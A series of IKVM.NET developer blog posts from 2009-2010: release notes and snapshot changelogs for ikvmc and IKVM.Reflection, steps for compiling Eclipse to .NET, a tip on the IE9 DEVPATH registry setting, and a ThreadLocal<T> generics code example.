  • Implemented OperatingSystemMXBean.
  • Added ikvmc option to disable automagic serialization.
  • Fixed ikvmc to give a proper error message if an output file cannot be created.
  • Added -delaysign option to ikvmc.
  • Added support for AssemblyVersionAttribute and AssemblyCultureAttribute to ikvmc.
  • Added warnings to ikvmc for AssemblyDelaySignAttribute, AssemblyKeyFileAttribute and AssemblyKeyNameAttribute.
  • Added warning to ikvmc when StructLayoutAttribute is ignored.
  • Fixed runtime to register .NET generic type instances with the right class loader (i.e. the special generic class loader that is created, instead of the assembly class loader of the generic type definition).
  • Fixed EnumHelper.GetPrimitiveValue() to handle the case where the underlying type of an enum differs from the constants values attached to the fields.
  • Added a couple of checks to the runtime to avoid problems when user code tries to convert .NET types that aren't supported into a java.lang.Class.
  • IKVM.Reflection: Fixed a whole bunch of bugs exposed by Kornél Pál awesome work on porting gmcs to IKVM.Reflection.
  • IKVM.Reflection: Removed TypeForwardedToAttribute support and added explicit API to do the same. Modified ikvmc to use new API.
  • IKVM.Reflection: Removed DefaultParameterValueAttribute support.
  • IKVM.Reflection: Fixed AssemblyName.GetAssemblyName() to throw the proper exceptions.
  • IKVM.Reflection: Implemented ModuleBuilder.GetArrayMethod(). Based on patch from Kornél Pál.
  • IKVM.Reflection: Removed CheckBaked() from __GetDeclaredXxx methods and moved it to .NET compatible APIs only.
  • IKVM.Reflection: Added support for defining mscorlib assembly.
  • IKVM.Reflection: Added __SetAssemblyVersion(), __SetAssemblyCulture(), __SetAssemblyKeyPair(), __SetAssemblyPublicKey(), __SetAssemblyAlgorithmId() and __SetAssemblyFlags() methods to AssemblyBuilder.
  • IKVM.Reflection: Added support for delay signing.
  • IKVM.Reflection: Added TypeBuilder.__SetAttributes() and MethodBuilder.__SetAttributes() to allow modying the attributes after the builder has been created.

Binaries available here: ikvmbin-0.43.3782.zip

5/10/2010 7:26:53 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Monday, May 03, 2010

IKVM 0.42 Update 1 Released

I've promoted 0.42 Update 1 RC 2 to an official release.

Changes (Update 1 RC 0 + RC 1 + RC 2):

  • Added fix to mangle all artificial type names if they clash with Java type names in the same assembly.
  • Fix for http://gcc.gnu.org/bugzilla/show_bug.cgi?id=41696.
  • Fixed exception sorter to be correct when invoked with two references to the same object.
  • Fix for bug #2946842.
  • Fixed ikvmstub to not emit stubs for generic type definitions.
  • Fixed several incorrect usages of Type.IsArray when we only want to deal with vectors.
  • Fixed timezone handing bug for unrecognized timezone names.
  • Several partial trust fixes.

The 0.42 release notes can be found here.

If you want to build from source, you need openjdk6-b16-stripped.zip from the 0.42.0.3 folder.

5/3/2010 7:10:51 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Friday, April 23, 2010

New Development Snapshot

A fairly massive set of changes this time, mostly around .NET 4.0 suport and IKVM.Reflection fixes.

Targetting .NET 4.0

Please note that the work isn't done yet (in particular, I haven't checked in all the changes required for the .NET 4.0 security model), but it is now possible to build assemblies with ikvmc that target and reference .NET 4.0 while running ikvmc on the .NET 2.0 runtime.

C:\j>ikvmc test.class -nostdlib -lib:\windows\microsoft.net\framework\v4.0.30319 -r:mscorlib.dll
Note IKVMC0001: found main method in class "test"
Note IKVMC0002: output file is "test.exe"

C:\j>test
Hello World, running on CLR 4.0.30319.1


Note that (like the C# compiler) you can also reference .NET 4.0 assemblies while targetting .NET 2.0, but when you run the resulting assembly on .NET 2.0 and it tries to load the .NET 4.0 assembly that will fail with a BadImageFormatException.

The algorithm that ikvmc uses to load assemblies now resembles what csc uses and does not involve the CLR anymore. The same switches are used (-nostdlib, -lib and -reference), but there are some subtle differences. The most important being that ikvmc's -nostdlib also removes the current CLR runtime directory from the search path and that the -reference option (like it always has) has a runtime consequence (because it affects class loader delegation) and the assemblies that aren't explicitly required by the code being compiled will be silently loaded from the library search path (which is: current directory, CLR directory (except if -nostdlib is specified), -lib:<dir> directories, LIB environment directories).

Breaking Change

The above mentioned changes to assembly loading by ikvmc result in some (potential) breaking changes for build scripts. In particular, the -reference option could previously be used with a partial name (which would be resolved by the CLR with the Assembly.LoadWithPartialName() method), but this is no longer supported (to ease transitioning you can still specify the simple name of the assembly and the ikvmc assembly resolver will append ".dll" to it, but it will issue a warning about this.)

Changes:

  • Started implementing the various required changes for the .NET 4.0 security model. This is not finished yet, so running on .NET 4.0 with this snapshot is not yet supported.
  • .NET 4.0 fix: When class GC is enabled, don't intrinsify ThreadLocal.
  • .NET 4.0 support: When class GC is enabled, throw a VerifyError when custom attributes as used that aren't allowed in RunAndCollect assemblies.
  • Added parameter validation to ikvmc's -version option (bug #2987144).
  • Added System.Core target to build a tiny custom version of System.Core.dll that contains only System.Runtime.CompilerServices.ExtensionAttribute and will allow us to build on .NET 2.0 without having to figure out where System.Core.dll lives (or without it even being present).
  • Removed lib/security/local_policy.jar from vfs.zip (because, by default, OpenJDK builds the restricted version) and instead make a vfs alias for it that points to the unrestricted US_export_policy.jar.
  • Changed ikvm.runtime.Startup.setProperties() to take an IDictionary instead of Hashtable. This allows a Dictionary<string, string> to be passed in now and avoids future problems if/when we want to target Silverlight (which doesn't have System.Collections.Hashtable).
  • Rewrote assembly loading for ikvmc and ikvmstub (and unified it). It now no longer depends on the runtime to do assembly name to path resolution and behaves more csc like.
  • Added -nostdlib and -lib options to ikvmc and ikvmstub.
  • IKVM.Reflection: Fixed stack height updating for jmp instruction.
  • IKVM.Reflection: Don't crash when a DllImportAttribute doesn't have an ImportScope (which can happen for C++ code).
  • IKVM.Reflection: Version parts should be treated as unsigned.
  • IKVM.Reflection: Don't loop infinitely when field RVA lies outside of the file.
  • IKVM.Reflection: Don't try to return a MethodBody if the method isn't in IL.
  • IKVM.Reflection: Implemented ModuleRef ResolutionScope for TypeRef.
  • IKVM.Reflection: Fixed type name parsing bug (thanks to Jb Evain for reporting this). Generic type parameter type names can be without assembly name and then need to be resolved in context.
  • IKVM.Reflection: Added workaround for broken compiler(s) that add terminating NUL to type names in custom attribute data.
  • IKVM.Reflection: Added support for custom modifiers in generic type instantions (in signatures).
  • IKVM.Reflection: Having PinvokeImpl set doesn't necessarily imply having an ImplMap record (for mixed mode assemblies).
  • IKVM.Reflection: Made __GetDataFromRVA more general by taking an offset and a length (to be able to reuse the byte array) and this also removes the need for the field type to have a StructLayout.
  • IKVM.Reflection: A Version object that only has Major.Minor set will return -1 for Build and Revision. Handle that case by setting these parts to zero, instead of casting to 65535.
  • IKVM.Reflection: Added support for delay signing (i.e. setting the public key without having the private key).
  • IKVM.Reflection: Dynamic assemblies should also be visible in the universe.
  • IKVM.Reflection: Fixed default assembly resolver to throw/not throw the right exceptions.
  • IKVM.Reflection: Made method/field signature reading lazy. This makes building assemblies with circular dependencies easier.
  • IKVM.Reflection: Fixed method signature handling of custom modifiers (required and optional were mixed up).

Binaries available here: ikvmbin-0.43.3765.zip

4/23/2010 9:51:39 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, April 06, 2010

0.42 Update 1 RC 2

I back ported a couple more fixes to the stable release.

Changes:

  • Updated version to 0.42.0.6.
  • Fixed ikvmstub to not emit stubs for generic type definitions.
  • Fixed several incorrect usages of Type.IsArray when we only want to deal with vectors.
  • Fixed timezone handing bug for unrecognized timezone names.
  • Several partial trust fixes.

Binaries available here: ikvmbin-0.42.0.6.zip

Sources: ikvm-0.42.0.6.zip, openjdk6-b16-stripped.zip

4/6/2010 7:40:36 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Friday, April 02, 2010

New Development Snapshot

I've integrated OpenJDK 6 b18. If you're building IKVM from source, you need to download openjdk6-b18-stripped.zip.

Changes:

  • Integrated OpenJDK 6 b18.
  • Fixed IKVM.Reflection bug in version number handling (for version parts > 32K).
  • Added support for generic parameter custom attributes to IKVM.Reflection (this is missing from June 2006 ECMA CLI spec).
  • Fixed IKVM.Reflection Type.FullName bug. Nested types can also have a namespace (not in the C# sense, but in the CLR sense).

Binaries available here: ikvmbin-0.43.3744.zip

4/2/2010 6:11:40 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, March 29, 2010

New Development Snapshot

It's been a while and enough changes have accumulated to warrant a new development snapshot.

Changes:

  • Volker implemented dumping a list of threads when Ctrl-Break is pressed (Windows only).
  • Fixed class loader caching in CallerID (thanks to Mainsoft for reporting this).
  • Added workaround to ikvmc for Assembly.Location differing in case when the assembly is loaded from DEVPATH.
  • Added error handling to ikvmc -key: and -keyfile: options.
  • Added code gen optimization to remove some unnecessary explicit class initialization triggers.
  • Several IKVM.Reflection fixes/improvements.
  • Added support to IKVM.Reflection for mcs specific AssemblyBuilderAccess flag (0x800 aka COMPILER_ACCESS) to allow access to members of unbaked TypeBuilders.
  • Added hack to ikvmc to automatically load OpenJDK assemblies from the same location as OpenJDK.Core (when a non-default OpenJDK.Core assembly is specified).
  • Introduced a base class for intrisified AtomitcReferenceFieldUpdaters. This reduces the size of the generates classes somewhat and allows for a public type to represent all intrinsified instances (instead of the HideFromJava nested type).
  • Intrinsified ThreadLocal (under specific circumstances).
  • Fix for bug #2946842.
  • Removed ../../openjdk6-b16 path from response files.
  • Fixed ikvmstub to not export generic type definitions, because the resulting class is final | abstract and that (intentionally) isn't legal.
  • Fixed ClassLoader to not allow unitialized class loader to be used as parent.
  • Replaced incorrect usages of Type.IsArray with ReflectUtil.IsVector().
  • Added workaround for Mono bug #583669.
  • Fixed bug in handling of unrecognized time zones.
  • When running on .NET 3.5 or later, use TimeZoneInfo.Id to identify timezone, because that maps better to the Win32 names that the Java name mapping is based on.
  • Fix for partial trust regression in assembly class loader initialization.
  • Partial trust: File.listRoots() now uses Environment.GetLogicalDrives() instead of Directory.GetLogicalDrives(). Both methods are semantically identical, but the former requires EnvironmentPermission(Unrestricted = true) and the latter SecurityPermission(UnmanagedCode = true). We also now swallow a SecurityException, should it occur.
  • Partial trust: Getting the host name now falls back to "localhost" if we don't have permission to query the name (or if anything else causes GetHostName to fail).

Binaries available here: ikvmbin-0.43.3736.zip

3/29/2010 9:00:57 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

IE9 Preview disables CLR DEVPATH feature

(This is not related to IKVM.NET, but since I spent several hours tracking this down, I thought I'd write it up here in the hope anyone else struggling with this will find it.)

One of the lesser known (development) features of the CLR is the ability to override the regular Fusion assembly loading rules by setting the DEVPATH environment variable (and adding an entry to the machine.config to enable this).

It turns out that this feature can be disabled by setting HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable to 1.

When the IE9 Platform Preview is installed it adds this value to the registry.

To re-enable DEVPATH, set the value to 0 or delete it.

3/29/2010 8:20:22 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Friday, February 19, 2010

0.42 Update 1 RC 1

I fixed a major bug in the automagic .NET serialization support.

Changes:

  • Updated version to 0.42.0.5.
  • Fix for bug #2946842.

Binaries available here: ikvmbin-0.42.0.5.zip

Sources: ikvm-0.42.0.5.zip, openjdk6-b16-stripped.zip

2/19/2010 9:40:08 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Friday, January 29, 2010

New Development Snapshot

I've modified ikvmc to use IKVM.Reflection and largely rewritten ikvmstub to directly work with the ikvm internals instead of using the java reflection API. Both ikvmc and ikvmstub can now process assemblies independent from the .NET runtime they run on. This opens up the possibility to start investigating the possibility of Silverlight support.

Changes:

  • Drag-n-drop fix by Nat.
  • Fixed regression introduced in previous development snapshot, related to field accessors.
  • Removed caching of inner classes.
  • Fix for bug #2908683.
  • Various AWT fixes by Volker.
  • Changed JNI to use standard caller ID mechanism.
  • Various JNI optimizations.
  • Fixed http://gcc.gnu.org/bugzilla/show_bug.cgi?id=41696
  • Fixed exception sorter bug exposed by recent Mono sorting change.
  • Fixed Thread.getAllStackTraces() to resume threads that it suspends.
  • Integrated new IKVM.Reflection implementation.
  • Added AllowMultiple = true to RemappedClassAttribute.
  • Fixed atomic update helper nested types to be invisible from Java.
  • Removed support for "ikvm.stubgen.serialver" property that is no longer needed now that ikvmstub doesn't use the runtime to generate stubs.
  • Removed pre-generated stub jars from cvs and modified build process to generate them during the build.
  • Removed "constant" instance field support (which was only used by ikvmstub and doesn't make any sense anyway).
  • Removed ReflectionOnly support from runtime. Now that ikvmstub no longer requires it, there's no good reason to allow Java code to see ReflectionOnly types.

Binaries available here: ikvmbin-0.43.3681.zip

1/29/2010 9:35:13 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Monday, January 25, 2010

Introducing IKVM.Reflection

In November 2008 I introduced IKVM.Reflection.Emit, today I'm introducing IKVM.Reflection. It superseded IKVM.Reflection.Emit and also includes the ability to read managed assemblies. In addition, I've also added many other features that aren't directly needed for ikvmc, but are useful for other applications. Almost the complete reflection API has now been implemented and there are several API extensions to support managed PE features that reflection doesn't support (well).

Why?

When I started on IKVM.Reflection.Emit, it wasn't at all clear to me that it would be possible to re-implement the System.Reflection.Emit namespace without also re-implementing the System.Reflection namespace, but it turned out it was. I did run into a few snags, such as the inability to subclass Module and Assembly (this was fixed in .NET 4.0) and a couple of Mono bugs, but on the whole IKVM.Reflection.Emit was very successful. So why then re-implement the System.Reflection namespace as well? The main reasons are Silverlight and .NET 4.0. For ikvmc to be able to target versions of the runtime different from the one it is currently running on, it is necessary to avoid using System.Reflection, because System.Reflection can only ever work with the mscorlib version of the current runtime.

ikvmc & ikvmstub

In the coming time, I plan on integrating IKVM.Reflection into ikvmc (most of the work for this has already been done, if you've been following the ikvm-commit list, you may have seen some changes go in and wondered why they are necessary) and ikvmstub (I haven't started on this yet). Currently, ikvmstub uses java reflection to expose members of the .NET types in an assembly. I chose this because it was the easiest way to make sure that what ikvmstub generated matched the ikvm runtime behavior (because it simply used the ikvm runtime to do the mapping). There are two downsides to this approach. The first is the same as mentioned above with ikvmc, you can only generate mscorlib stubs for the runtime you're currently running on. The second is more philosophical, it introduces a cycle in the build process. To build the IKVM.OpenJDK.*.dll assemblies, you need mscorlib.jar and System.jar, but to generate these stubs you need a compiled class library. To solve both these issues, I plan to rewrite ikvmstub to work directly on the internal ikvm runtime representations (with conditional compilation, like ikvmc does).

Features

This list is not exhaustive, but here are some interesting features of IKVM.Reflection (that are not in System.Reflection):

  • There is no AppDomain global state. Everything is contained in an instance of the IKVM.Reflection.Universe class.
  • No thread safety. If you want thread safety, you'll have to lock the universe object during every operation.
  • You can choose what version of mscorlib to load in the universe (using Universe.LoadMscorlib()) and by implementing a Universe.AssemblyResolve handler you can decide the framework assembly unification policy.
  • Support for querying and emitting .NET 2.0 style declarative security.
  • Support for defining unmanaged resources from a byte array (in .NET, AssemblyBuilder.DefineUnmanagedResources(byte[]) is broken, only the overload that accepts a filename works).
  • The ability to read and emit .NET 1.1, .NET 2.0 and .NET 4.0 assemblies (while running on, for example, .NET 2.0).
  • Full support for vararg calling convention.
  • Support for reading field RVA data (e.g. for the fields that are used by the C# compiler to initialize arrays).
  • The ability to enable/disable "exception block assistance", or get "clever" assistance.
  • Support for querying methodimpl mappings.
  • Support for reference, pointer and array types with custom modifiers (this CLR feature is used by C++/CLI).

Missing Features

Some things are still missing. The most notable being the Emit differences. The emit code was based on the IKVM.Reflection.Emit code and likewise still lacks some of the querying support (for baked types), although the new code is much better than the code in IKVM.Reflection.Emit.dll in this respect.

Here's a list of methods that can still throw a NotImplementedException:

  • FieldBuilder.__GetDataFromRVA()
  • ModuleBuilder.ResolveType()
  • ModuleBuilder.ResolveMethod()
  • ModuleBuilder.ResolveField()
  • ModuleBuilder.ResolveMember()
  • ModuleBuilder.ResolveString()
  • ModuleBuilder.__ResolveOptionalParameterTypes()
  • ModuleBuilder.GetArrayMethod()
  • GenericTypeParameterBuilder.BaseType
  • GenericTypeParameterBuilder.__GetDeclaredInterfaces()
  • GenericTypeParameterBuilder.GetGenericParameterConstraints()
  • GenericTypeParameterBuilder.GenericParameterAttributes
  • TypeBuilder.CreateType() (when invoked a second time)
  • TypeBuilder.__GetDeclaredFields()
  • TypeBuilder.__GetDeclaredEvents()
  • TypeBuilder.__GetDeclaredProperties()
  • ISymbolDocumentWriter.SetCheckSum()
  • ISymbolDocumentWriter.SetSource()
  • Most methods in ISymbolWriter
  • ManifestResourceInfo.ResourceLocation (for resources located in another assembly)
  • ManifestResourceInfo.ReferencedAssembly
  • ManifestResourceInfo.FileName
  • MethodBase.GetMethodBody() (if the method data contains unexpected sections)
  • Type.IsAssignableFrom()

Missing members:

  • Module.GetSignerCertificate()
  • Type.GUID
  • ParameterBuilder.GetToken()
  • PropertyBuilder.PropertyToken
  • MethodBuilder.Signature
  • ConstructorBuilder.Signature
  • MethodBuilder.SetSymCustomAttribute()
  • ModuleBuilder.SetSymCustomAttribute()
  • ConstructorBuilder.SetSymCustomAttribute()
  • ModuleBuilder.DefineResource()
  • AssemblyBuilder.ModuleResolve
  • Assembly.GetManifestResourceStream()
  • Assembly.GetSatelliteAssembly()
  • Assembly.GetFile()
  • Assembly.GetFiles()
  • MethodBuilder.SetMarshal() (obsolete, use MarshalAsAttribute instead)
  • ParameterBuilder.SetMarshal() (obsolete, use MarshalAsAttribute instead)
  • FieldBuilder.SetMarshal() (obsolete, use MarshalAsAttribute instead)
  • ModuleBuilder.DefineUnmanagedResource(byte[]) (because it is broken)
  • AssemblyBuilder.DefineUnmanagedResource(byte[]) (because it is broken)
  • MethodBuilder.CreateMethodBody()
  • Everything that doesn't make sense in a ReflectionOnly context.

Concepts that are not implemented:

  • Most metadata tokens returned by Emit objects are not properly typed (and can't be used for anything, other than comparing them against other metadata tokens).
  • When defining debugging symbols, a single method can only point to a single source document.
  • All type/member lookup operations are case sensitive.
  • Implementing a custom System.Reflection.Binder is not supported.
  • Modules with unsorted metadata tables are not supported.
  • When Type.GetMethods() (or __GetDeclaredMethods) is called on Array types it throws a NotImplementedException, instead of returning the special array accessor methods.
  • Managed function pointer types are not supported. Like System.Reflection, they are returned as System.IntPtr instead.

Linker Prototype

To see if I did miss any important CLR features, I wrote a prototype assembly linker. It is pretty capable, but should not be confused for something that is usable for anything other than exploring. I've used it with C++/CLI (compiled with /clr:pure) to test the more esoteric CLR features. The source for the linker prototype is in the zip linked to below.

The IKVM.Reflection source code is available in cvs. If you just want the binary, the LinkerPrototype.zip contains it.

1/25/2010 8:28:20 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Tuesday, January 12, 2010

0.42 Update 1 RC 0

Yesterday, I released 0.42 and as seemingly always happens a bug was reported right after that. So with that we're now on the road to the 0.42 Update 1 release. This is release candidate 0.

Changes:

Binaries available here: ikvmbin-0.42.0.4.zip

Sources: ikvm-0.42.0.4.zip, openjdk6-b16-stripped.zip

1/12/2010 6:11:43 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, January 11, 2010

IKVM 0.42 Released

I've released IKVM 0.42 to SourceForge. The binaries are identical to the ones in release candidate 3.

Release Notes

This document lists the known issues and incompatibilities.

Runtime

  • Code unloading (aka class GC) is not supported.
  • In Java static initializers can deadlock, on .NET some threads can see uninitialized state in cases where deadlock would occur on the JVM.
  • JNI
     
    • Only supported in the default AppDomain.
    • Only the JNICALL calling convention is supported! (On Windows, HotSpot appears to also support the cdecl calling convention).
    • Cannot call string contructors on already existing string instances
    • A few limitations in Invocation API support
       
      • The Invocation API is only supported when running on .NET.
      • JNI_CreateJavaVM: init options "-verbose[:class|:gc|:jni]", "vfprintf", "exit" and "abort" are not implemented. The JDK 1.1 version of JavaVMInitArgs isn't supported.
      • JNI_GetDefaultJavaVMInitArgs not implemented
      • JNI_GetCreatedJavaVMs only returns the JavaVM if the VM was started through JNI or a JNI call that retrieves the JavaVM has already occurred.
      • DestroyJVM is only partially implemented (it waits until there are no more non-daemon Java threads and then returns JNI_ERR).
      • DetachCurrentThread doesn't release monitors held by the thread.
    • Native libraries are never unloaded (because code unloading is not supported).
  • The JVM allows any reference type to be passed where an interface reference is expected (and to store any reference type in an interface reference type field), on IKVM this results in an IncompatibleClassChangeError.
  • monitorenter / monitorexit cannot be used on unitialized this reference.
  • Floating point is not fully spec compliant.
  • A method returning a boolean that returns an integer other than 0 or 1 behaves differently (this also applies to byte/char/short and for method parameters).
  • Synchronized blocks are not async exception safe.
  • Ghost arrays don't throw ArrayStoreException when you store an object that doesn't implement the ghost interface.
  • Class loading is more eager than on the reference VM.
  • Interface implementation methods are never really final (interface can be reimplemented by .NET subclasses).
  • JSR-133 finalization spec change is not fully implemented. The JSR-133 changes dictate that an object should not be finalized unless the Object constructor has run successfully, but this isn't implemented.

Static Compiler (ikvmc)

  • Some subtle differences with ikvmc compiled code for public members inherited from non-public base classes (so called "access stubs"). Because the access stub lives in a derived class, when accessing a member in a base class, the derived cctor will be run whereas java (and ikvm) only runs the base cctor.
  • Try blocks around base class ctor invocation result in unverifiable code (no known compilers produce this type of code).
  • Try/catch blocks before base class ctor invocation result in unverifiable code (this actually happens with the Eclipse compiler when you pass a class literal to the base class ctor and compile with -target 1.4).
  • Only code compiled in a single assembly fully obeys the JLS binary compatibility rules.
  • An assembly can only contain one resource with a particular name.
  • Passing incorrect command line options to ikvmc may result in an exception rather than a proper error messages.

Class Library

Most class library code is based on OpenJDK 6 build 16. Below is a list of divergences and IKVM specific implementation notes.

com.sun.security.auth.module        Not implemented.
java.applet GNU Classpath implementation. Not implemented.
java.awt Partial System.Windows.Forms based back-end. Not supported.
java.io.Console Not implemented.
java.lang.instrument Not implemented.
java.lang.management Not implemented.
java.net No IPv6 support implemented.
java.net.ProxySelector Getting the default system proxy for a URL is not implemented.
java.text.Bidi GNU Classpath implementation. Not supported.
java.util.zip Partially based on GNU Classpath implementation.
javax.imageio.plugins.jpeg Partial implementation. JPEGs can be read and written, but there is no metadata support.
javax.management Not implemented.
javax.print Not implemented.
javax.script Not implemented.
javax.smartcardio Not implemented.
javax.sound Not implemented.
javax.swing Not supported.
javax.tools Not implemented.
org.ietfs.jgss Not implemented.
sun.jdbc.odbc Implementation based on .NET ODBC managed provider.
sun.net.www.content.audio Audio content handlers not implemented.
sun.net.www.content.image Image content handlers not implemented.

The entire public API is available, so "Not implemented." for javax.print, for example, means that the API is there but there is no back-end to provide the actual printing support. "Not supported." means that the code is there and probably works at least somewhat, but that I'm less likely to fix bugs reported in these areas.

Specific API notes:

  • java.lang.Thread.stop(Throwable t) doesn't support throwing arbitrary exceptions on other threads (only java.lang.ThreadDeath).
  • java.lang.Thread.holdsLock(Object o) causes a spurious notify on the object (this is allowed by the J2SE 5.0 spec).
  • java.lang.String.intern() strings are never garbage collected.
  • Weak/soft references and reference queues are inefficient and do not fully implement the required semantics.
  • java.lang.ref.SoftReference: Soft references are not guaranteed to be cleared before an OutOfMemoryError is thrown.
  • Threads started outside of Java aren't "visible" (e.g. in ThreadGroup.enumerate()) until they first call Thread.currentThread().
  • java.lang.Thread.getState() returns WAITING or TIMED_WAITING instead of BLOCKING when we're inside Object.wait() and blocking to re-acquire the monitor.
  • java.nio.channel.FileChannel.lock() shared locks are only supported on Windows NT derived operating systems.
  • java.lang.SecurityManager: Deprecated methods not implemented: classDepth(String), inClass(String), classLoaderDepth(), currentLoadedClass(), currentClassLoader(), inClassLoader()

Supported Platforms

This release has been tested on the following CLI implementations / platforms:

CLI Implementation       Architecture      Operating System
.NET 2.0 SP2 x86 Windows
.NET 2.0 SP2 x64 Windows


Partial Trust

There is experimental support for running in partial trust.

1/11/2010 6:36:26 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, December 07, 2009

New Development Snapshot

The 0.42 release still isn't done, but in the mean time, development of 0.43 continues.

Changes:

  • Fixed interface method resolution (via JNI) and various other minor JNI method resolution compatibility tweaks.
  • When there is no Java code on the stack JNIEnv->FindClass() should use the system class loader instead of the boot class loader.
  • Removed micro optimization that requires full trust on .NET 4.0.
  • Removed .NET 4.0 workaround.
  • Renamed ILGenerator.__GetILOffset() to ILGenerator.ILOffset to match with .NET 4.0.
  • More AWT fixes by Volker
  • Added support for adding "new-style" declarative security (i.e. .NET 2.0 compatible) to IKVM.Reflection.Emit.
  • Various minor optimizations
  • Added a couple of missing classes (that tools.jar depends on).
  • Removed classes that aren't supposed to be in the boot class path (they're from tools.jar). This includes the entire IKVM.OpenJDK.XML.RelaxNG assembly.
  • Created IKVM.OpenJDK.Tools.dll (which is going to be the equivalent of tools.jar).
  • Fixed IsPackageAccessibleFrom to consider class loaders, instead of InternalsVisibleToAttribute
  • Added automatic access to internal accessibility members across assemblies in multi target compilation (previously this was only done for -sharedclassloader scenarios)
  • Cleaned up existing field access stubs (now known as "type 1") and added type 2 access stubs to make public fields that have a non-public field type accessible.
  • Moved FindMainMethod from ikvm.exe into runtime, to avoid the need for hacks (to avoid NoClassDefFoundErrors).
  • Deleting of an non existing Preferences Key should not throw an exception.
  • Type export map performance bug fix by Eyal Alaluf. AssemblyName doesn't implement Equals/GetHashCode and this caused the map to contain an assembly entry for every type.
  • Added IKVM_EXPERIMENTAL_JDK_7 environment variable to enable loading Java 7 class files. Note that no JDK 7 functionality has been implemented yet.
  • Mangle all artificial type names if they clash with Java type names in the same assembly.
  • Added two constructors to ThowsAttribute that take a Type and a Type[] for greater convenience when applying the attribute to user code and for compatibility with Grasshopper's ThrowsAttribute.
  • Various minor reflection optimizations.
  • Don't automatically hide Java "op_Implicit" methods (marked with SpecialName). Instead mark the ones we automatically generate with HideFromJavaAttribute.

Binaries available here: ikvmbin-0.43.3628.zip

12/7/2009 9:06:05 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Monday, November 30, 2009

IKVM 0.42 Release Candidate 3

A new release candidate is available.

Changes since previous release candidate:

  • Changed version to 0.42.0.3.
  • Fix for bug #2887316.
  • Eyal Alaluf fixed a massive performance bug that caused IKVM.OpenJDK.Core.dll to be 1.4 MB too big and allocate a couple of MB of unnecessary strings on initialization.
  • Fixed JNI to use system class loader instead of bootstrap class loader when no Java code is on the stack.
  • Fixed JNI method lookup algorithm.

Binaries available here: ikvmbin-0.42.0.3.zip

Sources: ikvm-0.42.0.3.zip, openjdk6-b16-stripped.zip

11/30/2009 7:00:02 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [4]

Wednesday, November 25, 2009

Running Eclipse with NGEN

In the weeks before PDC I've been working on compiling Eclipse with ikvmc. This works was triggered by Mainsoft's Eyal Alaluf who asked me to work on this and also provided a desperately needed starting point. I had wanted to do this for ages, but didn't feel like struggling with the Eclipse build system to figure out how to get started.

A couple of the changes in the most recent development snapshot are specifically related to this. In particular the ability for custom assembly class loaders to be called when the module initializer is run. This enables the statically compiled Eclipse OSGi bundles to be lazily activated on first use.

Instructions

Here are the steps needed to compile Eclipse 3.4.2 x86 on Windows:

  1. Download eclipse-SDK-3.4.2-win32.zip
  2. Download ikvmbin-0.43.3595.zip
  3. Download ikvm-eclipse-0.1.zip
  4. Unzip eclipse-SDK-3.4.2-win32.zip
  5. Open a Command Prompt in the just unzipped eclipse directory
  6. Unzip ikvmbin-0.43.3595.zip in that directory
  7. Unzip ikvm-eclipse-0.1.zip in that directory
  8. Create a directory for the compiled plugins:
    md plugins-compiled
  9. Run ikvmc to compile the eclipse plugins:
    ikvm\bin\ikvmc @response0.txt
    ikvm\bin\ikvmc @response1.txt
    (Ignore the warnings and note that this takes a while and requires a lot of memory. I haven't tested this on a 32 bit machine, it may well run out of address space there.)
  10. You can now run "eclipse-clr.exe" to start Eclipse. Note that if you compare startup times, the first time that Eclipse starts it does some initial configuration, so don't compare the first startup with the subsequent ones.
  11. Optionally you can run ngen-all.bat to compile all assemblies to native code. Make sure that you have the x86 version of ngen.exe in your path. Note that this also takes a while.

Source Code

The sources for eclipse-clr.exe are in this Visual Studio 2008 solution. It's pretty small and most of what it does is configure and hook OSGi to change the bundle loading and initialization. If you want to build eclipse-clr.exe, you first have to run ikvmc on response0.txt, then build eclipse-clr.exe (it depends on the OSGi assembly built with response0.txt) and after that you can run ikvmc on response1.txt (it depends on eclipse-clr.exe, because that contains the custom assembly class loader used for the bundles).

The response0.txt and response1.txt files were generated from the OSGi manifests and if there is interest I can publish the source to that as well, but is pretty hacky.

Performance

When compiled to native with ngen, Eclipse starts up faster than with JDK 1.6 on my systems. In theory the private working set should also be significantly less, allowing multiple Eclipse instances to use far less memory.

Disclaimer

This is just a technology demonstration, not production code and has not been extensively tested.

11/25/2009 6:32:30 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [16]

Tuesday, November 10, 2009

Going Crazy with Generics, or The Story of ThreadLocal(Of T)

Jon Skeet recently blogged about the performance of [ThreadStatic] versus the new .NET 4.0 ThreadLocal<T>. I was surprised to see that ThreadLocal<T> was faster than [ThreadStatic], because ThreadLocal<T> uses [ThreadStatic] as the underlying primitive.

How do you go from a static field to a per instance field? It's simple, once you think of it. You (ab)use generic types. Here's a simplified ThreadLocal<T>:

public class ThreadLocal<T>
{
  HolderBase holder;
  static int count;
  static Type[] types = new Type[] { typeof(C1), typeof(C2), typeof(C3) };

  abstract class HolderBase
  {
    internal abstract T Value { get; set; }
  }

  class C1 { }
  class C2 { }
  class C3 { }

  class Holder : HolderBase
  {
    [ThreadStatic]
    static T val;

    internal override T Value
    {
      get { return val; }
      set { val = value; }
    }
  }

  public ThreadLocal()
  {
    holder = MakeHolder(Interlocked.Increment(ref count) - 1);
  }

  HolderBase MakeHolder(int index)
  {
    Type t1 = types[index % 3];
    Type t2 = types[(index / 3) % 3];
    Type t3 = types[index / 9];
    Type type = typeof(Holder<,,>).MakeGenericType(typeof(T), t1, t2, t3);
    return (HolderBase)Activator.CreateInstance(type);
  }

  public T Value
  {
    get { return holder.Value; }
    set { holder.Value = value; }
  }
}

